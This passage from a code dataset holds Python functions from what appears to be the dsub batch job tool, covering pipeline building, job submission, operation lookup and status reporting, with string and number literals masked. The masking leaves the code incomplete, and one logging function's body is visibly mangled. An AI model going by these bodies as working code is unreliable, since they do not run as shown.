prepare_command]),)<EOL>actions.extend(mount_actions)<EOL>actions.extend([<EOL>google_v2_pipelines.build_action(<EOL>name='<STR_LIT>',<EOL>image_uri=_CLOUD_SDK_IMAGE,<EOL>mounts=[mnt_datadisk],<EOL>environment=localization_env,<EOL>entrypoint='<STR_LIT>',<EOL>commands=[<EOL>'<STR_LIT:-c>',<EOL>_LOCALIZATION_CMD.format(<EOL>log_msg_fn=_LOG_MSG_FN,<EOL>recursive_cp_fn=_GSUTIL_RSYNC_FN,<EOL>cp_fn=_GSUTIL_CP_FN,<EOL>cp_loop=_LOCALIZATION_LOOP)<EOL>]),<EOL>google_v2_pipelines.build_action(<EOL>name='<STR_LIT>',<EOL>image_uri=job_resources.image,<EOL>mounts=[mnt_datadisk] + persistent_disk_mounts,<EOL>environment=user_environment,<EOL>entrypoint='<STR_LIT>',<EOL>commands=[<EOL>'<STR_LIT>', '<STR_LIT:-c>',<EOL>_USER_CMD.format(<EOL>tmp_dir=providers_util.TMP_DIR,<EOL>working_dir=providers_util.WORKING_DIR,<EOL>user_script=script_path)<EOL>]),<EOL>google_v2_pipelines.build_action(<EOL>name='<STR_LIT>',<EOL>image_uri=_CLOUD_SDK_IMAGE,<EOL>mounts=[mnt_datadisk],<EOL>environment=delocalization_env,<EOL>entrypoint='<STR_LIT>',<EOL>commands=[<EOL>'<STR_LIT:-c>',<EOL>_LOCALIZATION_CMD.format(<EOL>log_msg_fn=_LOG_MSG_FN,<EOL>recursive_cp_fn=_GSUTIL_RSYNC_FN,<EOL>cp_fn=_GSUTIL_CP_FN,<EOL>cp_loop=_DELOCALIZATION_LOOP)<EOL>]),<EOL>google_v2_pipelines.build_action(<EOL>name='<STR_LIT>',<EOL>flags='<STR_LIT>',<EOL>image_uri=_CLOUD_SDK_IMAGE,<EOL>environment=logging_env,<EOL>entrypoint='<STR_LIT>',<EOL>commands=['<STR_LIT:-c>', logging_cmd]),<EOL>])<EOL>assert len(actions) - <NUM_LIT:2> == user_action<EOL>assert len(actions) == final_logging_action<EOL>disks = [<EOL>google_v2_pipelines.build_disk(<EOL>_DATA_DISK_NAME,<EOL>job_resources.disk_size,<EOL>source_image=None,<EOL>disk_type=job_resources.disk_type or job_model.DEFAULT_DISK_TYPE)<EOL>]<EOL>disks.extend(persistent_disks)<EOL>network = google_v2_pipelines.build_network(<EOL>job_resources.network, job_resources.subnetwork,<EOL>job_resources.use_private_address)<EOL>if job_resources.machine_type:<EOL><INDENT>machine_type = job_resources.machine_type<EOL><DEDENT>elif job_resources.min_cores or job_resources.min_ram:<EOL><INDENT>machine_type = GoogleV2CustomMachine.build_machine_type(<EOL>job_resources.min_cores, job_resources.min_ram)<EOL><DEDENT>else:<EOL><INDENT>machine_type = job_model.DEFAULT_MACHINE_TYPE<EOL><DEDENT>accelerators = None<EOL>if job_resources.accelerator_type:<EOL><INDENT>accelerators = [<EOL>google_v2_pipelines.build_accelerator(job_resources.accelerator_type,<EOL>job_resources.accelerator_count)<EOL>]<EOL><DEDENT>service_account = google_v2_pipelines.build_service_account(<EOL>job_resources.service_account or '<STR_LIT:default>', scopes)<EOL>resources = google_v2_pipelines.build_resources(<EOL>self._project,<EOL>job_resources.regions,<EOL>google_base.get_zones(job_resources.zones),<EOL>google_v2_pipelines.build_machine(<EOL>network=network,<EOL>machine_type=machine_type,<EOL>preemptible=job_resources.preemptible,<EOL>service_account=service_account,<EOL>boot_disk_size_gb=job_resources.boot_disk_size,<EOL>disks=disks,<EOL>accelerators=accelerators,<EOL>nvidia_driver_version=job_resources.nvidia_driver_version,<EOL>labels=labels,<EOL>cpu_platform=job_resources.cpu_platform),<EOL>)<EOL>pipeline = google_v2_pipelines.build_pipeline(actions, resources, None,<EOL>job_resources.timeout)<EOL>return {'<STR_LIT>': pipeline, '<STR_LIT>': labels}<EOL>", "docstring": "Returns a Pipeline objects for the task.", "id": "f6201:c2:m8"}
{"signature": "def submit_job(self, job_descriptor, skip_if_output_present):", "body": "<EOL>param_util.validate_submit_args_or_fail(<EOL>job_descriptor,<EOL>provider_name=_PROVIDER_NAME,<EOL>input_providers=_SUPPORTED_INPUT_PROVIDERS,<EOL>output_providers=_SUPPORTED_OUTPUT_PROVIDERS,<EOL>logging_providers=_SUPPORTED_LOGGING_PROVIDERS)<EOL>launched_tasks = []<EOL>requests = []<EOL>for task_view in job_model.task_view_generator(job_descriptor):<EOL><INDENT>job_params = task_view.job_params<EOL>task_params = task_view.task_descriptors[<NUM_LIT:0>].task_params<EOL>outputs = job_params['<STR_LIT>'] | task_params['<STR_LIT>']<EOL>if skip_if_output_present:<EOL><INDENT>if dsub_util.outputs_are_present(outputs):<EOL><INDENT>print('<STR_LIT>')<EOL>continue<EOL><DEDENT><DEDENT>request = self._build_pipeline_request(task_view)<EOL>if self._dry_run:<EOL><INDENT>requests.append(request)<EOL><DEDENT>else:<EOL><INDENT>task_id = self._submit_pipeline(request)<EOL>launched_tasks.append(task_id)<EOL><DEDENT><DEDENT>if self._dry_run:<EOL><INDENT>print(<EOL>json.dumps(<EOL>requests, indent=<NUM_LIT:2>, sort_keys=True, separators=('<STR_LIT:U+002C>', '<STR_LIT>')))<EOL><DEDENT>if not requests and not launched_tasks:<EOL><INDENT>return {'<STR_LIT>': dsub_util.NO_JOB}<EOL><DEDENT>return {<EOL>'<STR_LIT>': job_descriptor.job_metadata['<STR_LIT>'],<EOL>'<STR_LIT>': job_descriptor.job_metadata['<STR_LIT>'],<EOL>'<STR_LIT>': [task_id for task_id in launched_tasks if task_id],<EOL>}<EOL>", "docstring": "Submit the job (or tasks) to be executed.\n\n        Args:\n          job_descriptor: all parameters needed to launch all job tasks\n          skip_if_output_present: (boolean) if true, skip tasks whose output\n            is present (see --skip flag for more explanation).\n\n        Returns:\n          A dictionary containing the 'user-id', 'job-id', and 'task-id' list.\n          For jobs that are not task array jobs, the task-id list should be empty.\n\n        Raises:\n          ValueError: if job resources or task data contain illegal values.", "id": "f6201:c2:m10"}
{"signature": "def _operations_list(self, ops_filter, max_tasks, page_size, page_token):", "body": "<EOL>max_page_size = <NUM_LIT><EOL>page_size = min(sz for sz in [page_size, max_page_size, max_tasks] if sz)<EOL>api = self._service.projects().operations().list(<EOL>name='<STR_LIT>'.format(self._project),<EOL>filter=ops_filter,<EOL>pageToken=page_token,<EOL>pageSize=page_size)<EOL>response = google_base.Api.execute(api)<EOL>return [<EOL>GoogleOperation(op)<EOL>for op in response.get('<STR_LIT>', [])<EOL>if google_v2_operations.is_dsub_operation(op)<EOL>], response.get('<STR_LIT>')<EOL>", "docstring": "Gets the list of operations for the specified filter.\n\n        Args:\n          ops_filter: string filter of operations to return\n          max_tasks: the maximum number of job tasks to return or 0 for no limit.\n          page_size: the number of operations to requested on each list operation to\n            the pipelines API (if 0 or None, the API default is used)\n          page_token: page token returned by a previous _operations_list call.\n\n        Returns:\n          Operations matching the filter criteria.", "id": "f6201:c2:m17"}
{"signature": "def lookup_job_tasks(self,<EOL>statuses,<EOL>user_ids=None,<EOL>job_ids=None,<EOL>job_names=None,<EOL>task_ids=None,<EOL>task_attempts=None,<EOL>labels=None,<EOL>create_time_min=None,<EOL>create_time_max=None,<EOL>max_tasks=<NUM_LIT:0>,<EOL>page_size=<NUM_LIT:0>):", "body": "<EOL>ops_filter = self._build_query_filter(<EOL>statuses, user_ids, job_ids, job_names, task_ids, task_attempts, labels,<EOL>create_time_min, create_time_max)<EOL>page_token = None<EOL>tasks_yielded = <NUM_LIT:0><EOL>while True:<EOL><INDENT>max_to_fetch = None<EOL>if max_tasks:<EOL><INDENT>max_to_fetch = max_tasks - tasks_yielded<EOL><DEDENT>ops, page_token = self._operations_list(ops_filter, max_to_fetch,<EOL>page_size, page_token)<EOL>for op in ops:<EOL><INDENT>yield op<EOL>tasks_yielded += <NUM_LIT:1><EOL><DEDENT>assert (max_tasks >= tasks_yielded or not max_tasks)<EOL>if not page_token or <NUM_LIT:0> < max_tasks <= tasks_yielded:<EOL><INDENT>break<EOL><DEDENT><DEDENT>", "docstring": "Yields operations based on the input criteria.\n\n        If any of the filters are empty or {'*'}, then no filtering is performed on\n        that field. Filtering by both a job id list and job name list is\n        unsupported.\n\n        Args:\n          statuses: {'*'}, or a list of job status strings to return. Valid\n            status strings are 'RUNNING', 'SUCCESS', 'FAILURE', or 'CANCELED'.\n          user_ids: a list of ids for the user(s) who launched the job.\n          job_ids: a list of job ids to return.\n          job_names: a list of job names to return.\n          task_ids: a list of specific tasks within the specified job(s) to return.\n          task_attempts: a list of specific attempts within the specified tasks(s)\n            to return.\n          labels: a list of LabelParam with user-added labels. All labels must\n                  match the task being fetched.\n          create_time_min: a timezone-aware datetime value for the earliest create\n                           time of a task, inclusive.\n          create_time_max: a timezone-aware datetime value for the most recent\n                           create time of a task, inclusive.\n          max_tasks: the maximum number of job tasks to return or 0 for no limit.\n          page_size: the page size to use for each query to the pipelins API.\n\n        Raises:\n          ValueError: if both a job id list and a job name list are provided\n\n        Yeilds:\n          Genomics API Operations objects.", "id": "f6201:c2:m18"}
{"signature": "def delete_jobs(self,<EOL>user_ids,<EOL>job_ids,<EOL>task_ids,<EOL>labels,<EOL>create_time_min=None,<EOL>create_time_max=None):", "body": "<EOL>tasks = list(<EOL>self.lookup_job_tasks(<EOL>{'<STR_LIT>'},<EOL>user_ids=user_ids,<EOL>job_ids=job_ids,<EOL>task_ids=task_ids,<EOL>labels=labels,<EOL>create_time_min=create_time_min,<EOL>create_time_max=create_time_max))<EOL>print('<STR_LIT>' % len(tasks))<EOL>return google_base.cancel(GoogleV2BatchHandler,<EOL>self._service.projects().operations().cancel,<EOL>tasks)<EOL>", "docstring": "Kills the operations associated with the specified job or job.task.\n\n        Args:\n          user_ids: List of user ids who \"own\" the job(s) to cancel.\n          job_ids: List of job_ids to cancel.\n          task_ids: List of task-ids to cancel.\n          labels: List of LabelParam, each must match the job(s) to be canceled.\n          create_time_min: a timezone-aware datetime value for the earliest create\n                           time of a task, inclusive.\n          create_time_max: a timezone-aware datetime value for the most recent\n                           create time of a task, inclusive.\n\n        Returns:\n          A list of tasks canceled and a list of error messages.", "id": "f6201:c2:m19"}
{"signature": "def _operation_status(self):", "body": "if not google_v2_operations.is_done(self._op):<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>if google_v2_operations.is_success(self._op):<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>if google_v2_operations.is_canceled(self._op):<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>if google_v2_operations.is_failed(self._op):<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>raise ValueError('<STR_LIT>'.format(<EOL>self._op['<STR_LIT:name>']))<EOL>", "docstring": "Returns the status of this operation.\n\n        Raises:\n          ValueError: if the operation status cannot be determined.\n\n        Returns:\n          A printable status string (RUNNING, SUCCESS, CANCELED or FAILURE).", "id": "f6201:c3:m4"}
{"signature": "def _operation_status_message(self):", "body": "msg = None<EOL>action = None<EOL>if not google_v2_operations.is_done(self._op):<EOL><INDENT>last_event = google_v2_operations.get_last_event(self._op)<EOL>if last_event:<EOL><INDENT>msg = last_event['<STR_LIT:description>']<EOL>action_id = last_event.get('<STR_LIT>', {}).get('<STR_LIT>')<EOL>if action_id:<EOL><INDENT>action = google_v2_operations.get_action_by_id(self._op, action_id)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>msg = '<STR_LIT>'<EOL><DEDENT><DEDENT>else:<EOL><INDENT>failed_events = google_v2_operations.get_failed_events(self._op)<EOL>if failed_events:<EOL><INDENT>failed_event = failed_events[-<NUM_LIT:1>]<EOL>msg = failed_event.get('<STR_LIT>', {}).get('<STR_LIT>')<EOL>action_id = failed_event.get('<STR_LIT>', {}).get('<STR_LIT>')<EOL>if action_id:<EOL><INDENT>action = google_v2_operations.get_action_by_id(self._op, action_id)<EOL><DEDENT><DEDENT>if not msg:<EOL><INDENT>error = google_v2_operations.get_error(self._op)<EOL>if error:<EOL><INDENT>msg = error['<STR_LIT:message>']<EOL><DEDENT>else:<EOL><INDENT>msg = '<STR_LIT>'<EOL><DEDENT><DEDENT><DEDENT>return msg, action<EOL>", "docstring": "Returns the most relevant status string and failed action.\n\n        This string is meant for display only.\n\n        Returns:\n          A printable status string and name of failed action (if any).", "id": "f6201:c3:m5"}
{"signature": "def error_message(self):", "body": "error = google_v2_operations.get_error(self._op)<EOL>if error:<EOL><INDENT>job_id = self.get_field('<STR_LIT>')<EOL>task_id = self.get_field('<STR_LIT>')<EOL>task_str = job_id if task_id is None else '<STR_LIT>'.format(<EOL>job_id, task_id)<EOL>return '<STR_LIT>'.format(task_str, error['<STR_LIT:code>'],<EOL>error['<STR_LIT:message>'])<EOL><DEDENT>return '<STR_LIT>'<EOL>", "docstring": "Returns an error message if the operation failed for any reason.\n\n        Failure as defined here means ended for any reason other than 'success'.\n        This means that a successful cancelation will also return an error message.\n\n        Returns:\n          string, string will be empty if job did not error.", "id": "f6201:c3:m6"}
{"signature": "def get_field(self, field, default=None):", "body": "value = None<EOL>if field == '<STR_LIT>':<EOL><INDENT>value = self._op['<STR_LIT:name>']<EOL><DEDENT>elif field == '<STR_LIT>':<EOL><INDENT>if self._job_descriptor:<EOL><INDENT>value = self._job_descriptor.job_metadata.get(field)<EOL><DEDENT><DEDENT>elif field in [<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>'<EOL>]:<EOL><INDENT>value = google_v2_operations.get_label(self._op, field)<EOL><DEDENT>elif field == '<STR_LIT>':<EOL><INDENT>value = self._operation_status()<EOL><DEDENT>elif field == '<STR_LIT>':<EOL><INDENT>if self._job_descriptor:<EOL><INDENT>task_resources = self._job_descriptor.task_descriptors[<NUM_LIT:0>].task_resources<EOL>value = task_resources.logging_path<EOL><DEDENT><DEDENT>elif field in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>if self._job_descriptor:<EOL><INDENT>items = providers_util.get_job_and_task_param(<EOL>self._job_descriptor.job_params,<EOL>self._job_descriptor.task_descriptors[<NUM_LIT:0>].task_params, field)<EOL>value = {item.name: item.value for item in items}<EOL><DEDENT><DEDENT>elif field in [<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'<EOL>]:<EOL><INDENT>if self._job_descriptor:<EOL><INDENT>value = {}<EOL>items = providers_util.get_job_and_task_param(<EOL>self._job_descriptor.job_params,<EOL>self._job_descriptor.task_descriptors[<NUM_LIT:0>].task_params, field)<EOL>value.update({item.name: item.value for item in items})<EOL><DEDENT><DEDENT>elif field == '<STR_LIT>':<EOL><INDENT>if self._job_descriptor:<EOL><INDENT>items = providers_util.get_job_and_task_param(<EOL>self._job_descriptor.job_params,<EOL>self._job_descriptor.task_descriptors[<NUM_LIT:0>].task_params, field)<EOL>value = {item.name: item.value for item in items}<EOL><DEDENT><DEDENT>elif field == '<STR_LIT>':<EOL><INDENT>ds = google_v2_operations.get_create_time(self._op)<EOL>value = google_base.parse_rfc3339_utc_string(ds)<EOL><DEDENT>elif field == '<STR_LIT>':<EOL><INDENT>ds = google_v2_operations.get_start_time(self._op)<EOL>if ds:<EOL><INDENT>value = google_base.parse_rfc3339_utc_string(ds)<EOL><DEDENT><DEDENT>elif field == '<STR_LIT>':<EOL><INDENT>ds = google_v2_operations.get_end_time(self._op)<EOL>if ds:<EOL><INDENT>value = google_base.parse_rfc3339_utc_string(ds)<EOL><DEDENT><DEDENT>elif field == '<STR_LIT:status>':<EOL><INDENT>value = self._operation_status()<EOL><DEDENT>elif field == '<STR_LIT>':<EOL><INDENT>msg, action = self._operation_status_message()<EOL>if msg.startswith('<STR_LIT>'):<EOL><INDENT>msg = msg.split('<STR_LIT>', <NUM_LIT:2>)[-<NUM_LIT:1>]<EOL><DEDENT>value = msg<EOL><DEDENT>elif field == '<STR_LIT>':<EOL><INDENT>msg, action = self._operation_status_message()<EOL>if action:<EOL><INDENT>value = '<STR_LIT>'.format(action.get('<STR_LIT:name>'), msg)<EOL><DEDENT>else:<EOL><INDENT>value = msg<EOL><DEDENT><DEDENT>elif field == '<STR_LIT>':<EOL><INDENT>last_update = google_v2_operations.get_last_update(self._op)<EOL>if last_update:<EOL><INDENT>value = google_base.parse_rfc3339_utc_string(last_update)<EOL><DEDENT><DEDENT>elif field == '<STR_LIT>':<EOL><INDENT>return _PROVIDER_NAME<EOL><DEDENT>elif field == '<STR_LIT>':<EOL><INDENT>value = {}<EOL>assigned_events = google_v2_operations.get_worker_assigned_events(<EOL>self._op)<EOL>if assigned_events:<EOL><INDENT>details = assigned_events[<NUM_LIT:0>].get('<STR_LIT>', {})<EOL>value['<STR_LIT>'] = details.get('<STR_LIT>')<EOL>value['<STR_LIT>'] = details.get('<STR_LIT>')<EOL><DEDENT>resources = google_v2_operations.get_resources(self._op)<EOL>if '<STR_LIT>' in resources:<EOL><INDENT>value['<STR_LIT>'] = resources['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT>' in resources:<EOL><INDENT>value['<STR_LIT>'] = resources['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT>' in resources:<EOL><INDENT>vm = resources['<STR_LIT>']<EOL>value['<STR_LIT>'] = vm.get('<STR_LIT>')<EOL>value['<STR_LIT>'] = vm.get('<STR_LIT>')<EOL>value['<STR_LIT>'] = vm.get('<STR_LIT>')<EOL>value['<STR_LIT>'] = vm.get('<STR_LIT>', {}).get('<STR_LIT:name>')<EOL>value['<STR_LIT>'] = vm.get('<STR_LIT>', {}).get('<STR_LIT>')<EOL>value['<STR_LIT>'] = vm.get('<STR_LIT>',<EOL>{}).get('<STR_LIT>')<EOL>value['<STR_LIT>'] = vm.get('<STR_LIT>')<EOL>value['<STR_LIT>'] = vm.get('<STR_LIT>')<EOL>value['<STR_LIT>'] = vm.get('<STR_LIT>', {}).get('<STR_LIT:email>')<EOL>if '<STR_LIT>' in vm:<EOL><INDENT>datadisk = next(<EOL>(d for d in vm['<STR_LIT>'] if d['<STR_LIT:name>'] == _DATA_DISK_NAME))<EOL>if datadisk:<EOL><INDENT>value['<STR_LIT>'] = datadisk.get('<STR_LIT>')<EOL>value['<STR_LIT>'] = datadisk.get('<STR_LIT:type>')<EOL><DEDENT><DEDENT><DEDENT><DEDENT>elif field == '<STR_LIT>':<EOL><INDENT>value = GoogleV2EventMap(self._op).get_filtered_normalized_events()<EOL><DEDENT>elif field == '<STR_LIT>':<EOL><INDENT>if self._job_descriptor:<EOL><INDENT>value = self._job_descriptor.job_metadata.get(field)<EOL><DEDENT><DEDENT>elif field == '<STR_LIT>':<EOL><INDENT>value = self._try_op_to_script_body()<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>' % field)<EOL><DEDENT>return value if value else default<EOL>", "docstring": "Returns a value from the operation for a specific set of field names.\n\n        Args:\n          field: a dsub-specific job metadata key\n          default: default value to return if field does not exist or is empty.\n\n        Returns:\n          A text string for the field or a list for 'inputs'.\n\n        Raises:\n          ValueError: if the field label is not supported by the operation", "id": "f6201:c3:m7"}
{"signature": "@staticmethod<EOL><INDENT>def _validate_cores(cores):<DEDENT>", "body": "if cores == <NUM_LIT:1> or cores % <NUM_LIT:2> == <NUM_LIT:0>:<EOL><INDENT>return cores<EOL><DEDENT>else:<EOL><INDENT>return cores + <NUM_LIT:1><EOL><DEDENT>", "docstring": "Make sure cores is either one or even.", "id": "f6201:c4:m0"}
{"signature": "@staticmethod<EOL><INDENT>def _validate_ram(ram_in_mb):<DEDENT>", "body": "return int(GoogleV2CustomMachine._MEMORY_MULTIPLE * math.ceil(<EOL>ram_in_mb / GoogleV2CustomMachine._MEMORY_MULTIPLE))<EOL>", "docstring": "Rounds ram up to the nearest multiple of _MEMORY_MULTIPLE.", "id": "f6201:c4:m1"}
{"signature": "@classmethod<EOL><INDENT>def build_machine_type(cls, min_cores, min_ram):<DEDENT>", "body": "min_cores = min_cores or job_model.DEFAULT_MIN_CORES<EOL>min_ram = min_ram or job_model.DEFAULT_MIN_RAM<EOL>min_ram *= GoogleV2CustomMachine._MB_PER_GB<EOL>cores = cls._validate_cores(min_cores)<EOL>ram = cls._validate_ram(min_ram)<EOL>memory_to_cpu_ratio = ram / cores<EOL>if memory_to_cpu_ratio < GoogleV2CustomMachine._MIN_MEMORY_PER_CPU:<EOL><INDENT>adjusted_ram = GoogleV2CustomMachine._MIN_MEMORY_PER_CPU * cores<EOL>ram = cls._validate_ram(adjusted_ram)<EOL><DEDENT>elif memory_to_cpu_ratio > GoogleV2CustomMachine._MAX_MEMORY_PER_CPU:<EOL><INDENT>adjusted_cores = math.ceil(<EOL>ram / GoogleV2CustomMachine._MAX_MEMORY_PER_CPU)<EOL>cores = cls._validate_cores(adjusted_cores)<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>return '<STR_LIT>'.format(int(cores), int(ram))<EOL>", "docstring": "Returns a custom machine type string.", "id": "f6201:c4:m2"}
{"signature": "def _format_task_name(job_id, task_id, task_attempt):", "body": "docker_name = '<STR_LIT>' % (job_id, '<STR_LIT>' if task_id is None else task_id)<EOL>if task_attempt is not None:<EOL><INDENT>docker_name += '<STR_LIT:.>' + str(task_attempt)<EOL><DEDENT>return '<STR_LIT>'.format(_convert_suffix_to_docker_chars(docker_name))<EOL>", "docstring": "Create a task name from a job-id, task-id, and task-attempt.\n\n    Task names are used internally by dsub as well as by the docker task runner.\n    The name is formatted as \"<job-id>.<task-id>[.task-attempt]\". Task names\n    follow formatting conventions allowing them to be safely used as a docker\n    name.\n\n    Args:\n      job_id: (str) the job ID.\n      task_id: (str) the task ID.\n      task_attempt: (int) the task attempt.\n\n    Returns:\n      a task name string.", "id": "f6202:m0"}
{"signature": "def _convert_suffix_to_docker_chars(suffix):", "body": "<EOL>accepted_characters = string.ascii_letters + string.digits + '<STR_LIT>'<EOL>def label_char_transform(char):<EOL><INDENT>if char in accepted_characters:<EOL><INDENT>return char<EOL><DEDENT>return '<STR_LIT:->'<EOL><DEDENT>return '<STR_LIT>'.join(label_char_transform(c) for c in suffix)<EOL>", "docstring": "Rewrite string so that all characters are valid in a docker name suffix.", "id": "f6202:m1"}
{"signature": "def _task_sort_function(task):", "body": "return (task.get_field('<STR_LIT>'), int(task.get_field('<STR_LIT>', <NUM_LIT:0>)),<EOL>int(task.get_field('<STR_LIT>', <NUM_LIT:0>)))<EOL>", "docstring": "Return a tuple for sorting 'most recent first'.", "id": "f6202:m2"}
{"signature": "def _sort_tasks(tasks):", "body": "<EOL>tasks.sort(key=_task_sort_function, reverse=True)<EOL>", "docstring": "Sort tasks by 'most recent first'.", "id": "f6202:m3"}
{"signature": "def __init__(self, resources):", "body": "self._operations = []<EOL>self._resources = resources<EOL>", "docstring": "Run jobs on your local machine.\n\n        Args:\n          resources: module providing access to files packaged with dsub\n                     (See dsub/libs/resources.py)", "id": "f6202:c0:m0"}
{"signature": "def _datetime_in_range(self, dt, dt_min=None, dt_max=None):", "body": "<EOL>dt = dt.replace(microsecond=<NUM_LIT:0>)<EOL>if dt_min:<EOL><INDENT>dt_min = dt_min.replace(microsecond=<NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>dt_min = dsub_util.replace_timezone(datetime.datetime.min, pytz.utc)<EOL><DEDENT>if dt_max:<EOL><INDENT>dt_max = dt_max.replace(microsecond=<NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>dt_max = dsub_util.replace_timezone(datetime.datetime.max, pytz.utc)<EOL><DEDENT>return dt_min <= dt <= dt_max<EOL>", "docstring": "Determine if the provided time is within the range, inclusive.", "id": "f6202:c0:m8"}
{"signature": "def _get_task_from_task_dir(self, job_id, user_id, task_id, task_attempt):", "body": "<EOL>task_dir = self._task_directory(job_id, task_id, task_attempt)<EOL>job_descriptor = self._read_task_metadata(task_dir)<EOL>if not job_descriptor:<EOL><INDENT>return None<EOL><DEDENT>if not job_descriptor.job_metadata.get('<STR_LIT>'):<EOL><INDENT>job_descriptor.job_metadata['<STR_LIT>'] = user_id<EOL><DEDENT>pid = -<NUM_LIT:1><EOL>try:<EOL><INDENT>with open(os.path.join(task_dir, '<STR_LIT>'), '<STR_LIT:r>') as f:<EOL><INDENT>pid = int(f.readline().strip())<EOL><DEDENT><DEDENT>except (IOError, OSError):<EOL><INDENT>pass<EOL><DEDENT>script = None<EOL>script_name = job_descriptor.job_metadata.get('<STR_LIT>')<EOL>if script_name:<EOL><INDENT>script = self._read_script(task_dir, script_name)<EOL><DEDENT>end_time = self._get_end_time_from_task_dir(task_dir)<EOL>last_update = self._get_last_update_time_from_task_dir(task_dir)<EOL>events = self._get_events_from_task_dir(task_dir)<EOL>status = self._get_status_from_task_dir(task_dir)<EOL>log_detail = self._get_log_detail_from_task_dir(task_dir)<EOL>if not status:<EOL><INDENT>status = '<STR_LIT>'<EOL>log_detail = ['<STR_LIT>']<EOL><DEDENT>return LocalTask(<EOL>task_status=status,<EOL>events=events,<EOL>log_detail=log_detail,<EOL>job_descriptor=job_descriptor,<EOL>end_time=end_time,<EOL>last_update=last_update,<EOL>pid=pid,<EOL>script=script)<EOL>", "docstring": "Return a Task object with this task's info.", "id": "f6202:c0:m16"}
{"signature": "def _delocalize_logging_command(self, logging_path, user_project):", "body": "<EOL>logging_prefix = os.path.splitext(logging_path.uri)[<NUM_LIT:0>]<EOL>if logging_path.file_provider == job_model.P_LOCAL:<EOL><INDENT>mkdir_cmd = '<STR_LIT>' % os.path.dirname(logging_prefix)<EOL>cp_cmd = '<STR_LIT>'<EOL><DEDENT>elif logging_path.file_provider == job_model.P_GCS:<EOL><INDENT>mkdir_cmd = '<STR_LIT>'<EOL>if user_project:<EOL><INDENT>cp_cmd = '<STR_LIT>'.format(user_project)<EOL><DEDENT>else:<EOL><INDENT>cp_cmd = '<STR_LIT>'<EOL><DEDENT><DEDENT>else:<EOL><INDENT>assert False<EOL><DEDENT>copy_logs_cmd = textwrap.dedent(\"\"\"<STR_LIT>\"\"\"kdir_cmd}<EOL>opy_logs_cmd}<EOL>.format(<EOL><INDENT>mkdir_cmd=mkdir_cmd, copy_logs_cmd=copy_logs_cmd)<EOL>return body<EOL>", "docstring": "Returns a command to delocalize logs.\n\n        Args:\n          logging_path: location of log files.\n          user_project: name of the project to be billed for the request.\n\n        Returns:\n          eg. 'gs://bucket/path/myfile' or 'gs://bucket/script-foobar-12'", "id": "f6202:c0:m18"}
{"signature": "def _make_job_id(self, job_name_value, user_id, create_time):", "body": "<EOL>return '<STR_LIT>' % (job_name_value[:<NUM_LIT:10>], user_id,<EOL>create_time.strftime('<STR_LIT>'))<EOL>", "docstring": "Return a job-id string.", "id": "f6202:c0:m19"}
{"signature": "def _task_directory(self, job_id, task_id, task_attempt):", "body": "dir_name = '<STR_LIT>' if task_id is None else str(task_id)<EOL>if task_attempt:<EOL><INDENT>dir_name = '<STR_LIT>' % (dir_name, task_attempt)<EOL><DEDENT>return self._provider_root() + '<STR_LIT:/>' + job_id + '<STR_LIT:/>' + dir_name<EOL>", "docstring": "The local dir for staging files for that particular task.", "id": "f6202:c0:m20"}
{"signature": "def _split_task_directory(self, task_dir):", "body": "if '<STR_LIT:.>' in task_dir:<EOL><INDENT>return task_dir.split('<STR_LIT:.>')<EOL><DEDENT>else:<EOL><INDENT>return task_dir, None<EOL><DEDENT>", "docstring": "Return task_id and task_attempt from dir_name.", "id": "f6202:c0:m21"}
{"signature": "def _make_environment(self, inputs, outputs, mounts):", "body": "env = {}<EOL>env.update(providers_util.get_file_environment_variables(inputs))<EOL>env.update(providers_util.get_file_environment_variables(outputs))<EOL>env.update(providers_util.get_file_environment_variables(mounts))<EOL>return env<EOL>", "docstring": "Return a dictionary of environment variables for the container.", "id": "f6202:c0:m22"}
{"signature": "def _localize_inputs_recursive_command(self, task_dir, inputs):", "body": "data_dir = os.path.join(task_dir, _DATA_SUBDIR)<EOL>provider_commands = [<EOL>providers_util.build_recursive_localize_command(data_dir, inputs,<EOL>file_provider)<EOL>for file_provider in _SUPPORTED_INPUT_PROVIDERS<EOL>]<EOL>return '<STR_LIT:\\n>'.join(provider_commands)<EOL>", "docstring": "Returns a command that will stage recursive inputs.", "id": "f6202:c0:m23"}
{"signature": "def _get_input_target_path(self, local_file_path):", "body": "path, filename = os.path.split(local_file_path)<EOL>if '<STR_LIT:*>' in filename:<EOL><INDENT>return path + '<STR_LIT:/>'<EOL><DEDENT>else:<EOL><INDENT>return local_file_path<EOL><DEDENT>", "docstring": "Returns a directory or file path to be the target for \"gsutil cp\".\n\n        If the filename contains a wildcard, then the target path must\n        be a directory in order to ensure consistency whether the source pattern\n        contains one or multiple files.\n\n\n        Args:\n          local_file_path: A full path terminating in a file or a file wildcard.\n\n        Returns:\n          The path to use as the \"gsutil cp\" target.", "id": "f6202:c0:m24"}
{"signature": "def _localize_inputs_command(self, task_dir, inputs, user_project):", "body": "commands = []<EOL>for i in inputs:<EOL><INDENT>if i.recursive or not i.value:<EOL><INDENT>continue<EOL><DEDENT>source_file_path = i.uri<EOL>local_file_path = task_dir + '<STR_LIT:/>' + _DATA_SUBDIR + '<STR_LIT:/>' + i.docker_path<EOL>dest_file_path = self._get_input_target_path(local_file_path)<EOL>commands.append('<STR_LIT>' % os.path.dirname(local_file_path))<EOL>if i.file_provider in [job_model.P_LOCAL, job_model.P_GCS]:<EOL><INDENT>if user_project:<EOL><INDENT>command = '<STR_LIT>' % (<EOL>user_project, source_file_path, dest_file_path)<EOL><DEDENT>else:<EOL><INDENT>command = '<STR_LIT>' % (source_file_path,<EOL>dest_file_path)<EOL><DEDENT>commands.append(command)<EOL><DEDENT><DEDENT>return '<STR_LIT:\\n>'.join(commands)<EOL>", "docstring": "Returns a command that will stage inputs.", "id": "f6202:c0:m25"}
